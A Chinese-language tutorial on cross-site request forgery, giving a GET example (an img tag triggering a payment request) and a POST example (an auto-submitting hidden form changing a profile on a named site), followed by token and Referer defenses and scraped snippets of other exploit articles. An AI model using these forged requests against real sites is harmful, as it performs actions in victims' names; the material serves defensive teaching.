CSRF漏洞分析利用及防御

0x00 简要介绍

CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无 token/refer 限制,导致攻击者可以以用户的身份完成操作达到各种目的。根据HTTP请求方式,CSRF利用方式可分为两种

0x01 GET类型的CSRF

这种类型的CSRF一般是由于程序员安全意思不强造成的。GET类型的CSRF利用非常简单,只需要构造一个HTTP请求,

一般会这样利用:

<img src="http://a.ioio.pub:8000/users/pay?uid=122&monery=10000" \>

当目标加载这个图片时会自动加载链接,这时就能完成攻击了。

例如:在一个留言或博客论坛的环境中,当留言内容没有经过过滤时,可以按照上面的方法构造一个删除该文章的图片链接。当目标查看博客留言时,因为是图片标签,所以浏览器会自动加载该URL这时,目标处于登录状态,那么该文章就会被删除。这种就是CSRF-GET请求的一种利用。

0x02 POST类型的CSRF

所谓POST类型就是构造一个自动提交的表单,当目标点击给标签时,就会以POST的方式发送一次HTTP请求。

<!DOCTYPE html>
<html>
<head>
    <title>test csrf</title>
</head>
<body>
<body>
    <form name="csrf" action="http://acm.xxxxx.net/JudgeOnline/profile_modify.php?action=modify" method="post" enctype="multipart/form-data">
        <input type="hidden" name="email" value="[email protected]">
        <input type="hidden" name="qq" value="123456">
        <input type="hidden" name="telephone" value="12345678901">
        <input type="hidden" name="bloglink" value="smdx">
        <input type="hidden" name="description" value="xmsdx">
    </form>
    <script>document.csrf.submit();</script>
</body>
</html>

以上内容就是一个可以自动提交的表单,当用户触发时,发送一次HTTP请求,修改个人信息。

0x03 如何修复

针对CSRF的防范:

关键的操作只接受POST请求,并且添加验证码。

CSRF攻击的工程,往往是用户在不知情的情况下触发的,当添加验证码或确认操作时,就可以简单而有效防御CSRF了。

检测refer

常见的互联网页面与页面之间是存在联系的,比如你在www.baidu.com应该是找不到通往www.google.com的链接的,再比如你在 论坛留言,那么不管你留言后重定向到哪里去了,之前的那个网址一定会包含留言的输入框,这个之前的网址就会保留在新页面头文件的Referer中

通过检查Referer的值,我们就可以判断这个请求是合法的还是非法的,但是问题出在服务器不是任何时候都能接受到Referer的值,所以Refere Check 一般用于监控CSRF攻击的发生,而不用来抵御攻击。

Token

目前主流的做法是使用Token抵御CSRF攻击。下面通过分析CSRF 攻击来理解为什么Token能够有效

CSRF攻击要成功的条件在于攻击者能够预测所有的参数从而构造出合法的请求。所以根据不可预测性原则,我们可以对参数进行加密从而防止CSRF攻击。

另一个更通用的做法是保持原有参数不变,另外添加一个参数Token,其值是随机的。这样攻击者因为不知道Token而无法构造出合法的请求进行攻击。

Token 使用原则

Token要足够随机————只有这样才算不可预测
Token是一次性的,即每次请求成功后要更新Token————这样可以增加攻击难度,增加预测难度
Token要注意保密性————敏感操作使用post,防止Token出现在URL中
                                                                 ---参照学习与乌云drops
时间: 2024-12-22 01:17:22

CSRF漏洞分析利用及防御的相关文章

实战讲解XXE漏洞的利用与防御策略

现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查XML格式是否正确.当解析器允许XML外部实体解析时,就会造成XXE漏洞,导致服务器被攻击.本期"安仔课堂",ISEC实验室的李老师为我们详细解析XXE漏洞的利用和防御.   一.XML基础知识  XML是用于标记电子文件并使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括

DVWA系列之18 CSRF漏洞分析

下面我们来查看一下low级别的CSRF源码: 代码中在获取了$pass_new和$pass_conf这两个变量之后,利用mysql_real_escape_string()函数进行了过滤,这样虽然可以防止SQL注入,但却无法阻止CSRF攻击,之后这两个变量便被直接代入UPDATE语句中执行了数据库更新操作. 下面再来分析一下medium级别的代码: 可以看到这里在获取$pass_new和$pass_conf这两个变量之前,先利用一个if语句来判断"$_SERVER['HTTP_REFERER']

Rsync未授权访问漏洞的利用和防御

首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/rsync.conf) 这一项read only表示只读,如果这一项为no,我们就具有写权限了. 如果这边有个PHP的站,如果写个一句话,后果大家都懂得. 当然,有些时候也可以读取到一些信息,这样可以造成敏感信息泄露. Rsync未授权访问漏洞的修复(或者说防御.缓解措施) 配置文件解析: 配置文件位

腾讯大牛亲授 Web 前后端漏洞分析与防御技巧

第1章 课程介绍介绍安全问题在web开发中的重要性,并对课程整体进行介绍1-1 Web安全课程介绍1-2 项目总览 第2章 环境搭建本章节我们会搭建项目所需要的环境2-1 环境搭建上2-2 环境搭建下 第3章 前端XSS系统介绍XSS攻击的原理.危害,以真实案例讲解XSS带来过的损失,最后以实战代码讲解如何防御XSS攻击3-1 XSS介绍3-2 XSS攻击类型3-3 HTML内容和属性转义3-4 JS转义3-5 富文本 上3-6 富文本 下3-7 CSP3-8 PHP-XSS 第4章 前端CSR

Java反序列化漏洞通用利用分析

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSphere.JBoss.Jenkins.OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行. 然而事实上,博客作者并不是漏洞发现者.博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了

Redis漏洞利用与防御

Redis漏洞利用与防御 simeon Redis在大公司被大量应用,通过笔者的研究发现,目前在互联网上已经出现Redis未经授权病毒似自动攻击,攻击成功后会对内网进行扫描.控制.感染以及用来进行挖矿.勒索等恶意行为,早期网上曾经分析过一篇文章"通过redis感染linux版本勒索病毒的服务器"(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么应当给予重视,通过实际研究,当在一定条件下,攻击者可以获取webshell,甚至r

Web 前后端漏洞分析与防御技巧

腾讯大牛亲授 Web 前后端漏洞分析与防御技巧 项目终于上线了,却面临安全威胁,你怕不怕?本课程以一个实战项目演示XSS.CSRF.点击劫持.SQL注入等主要安全问题和防御措施,打消你对项目安全的担忧,为自己开发的项目撑起一把保护伞. 下载地址:百度网盘下载 原文地址:https://www.cnblogs.com/hongjiaaen/p/10236688.html

JAVA Apache-CommonsCollections 序列化漏洞分析以及漏洞高级利用

作者: 随风 漏洞原理分析 该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验,新版本的修复方案对相关反射调用进行了限制. 问题函数主要出现在org.apache.commons.collections.Transformer接口上,我们可以看到该接口值定义了一个方法 我们可以看到该方法的作用是给定一个Object对象经过转换后同时也返回一个Object,我们来看看该接口有哪些实现类 这些tran

PCMan FTP Server缓冲区溢出漏洞分析与利用

简要介绍 这个软件是台湾国立阳明大学医学系的一个学生在大四的时候写的,这个漏洞是有CVE的(CVE-2013-4730),软件应该还挺普及的,这是一个缓冲区溢出漏洞 具体exp可以点这里 实验用poc(其实这里直接对USER命令溢出都是可以的,即不用知道账号密码即可远程代码执行,USER命令的buf距离返回地址是2000) import socket as s from sys import argv # if(len(argv) != 4): print "USAGE: %s host <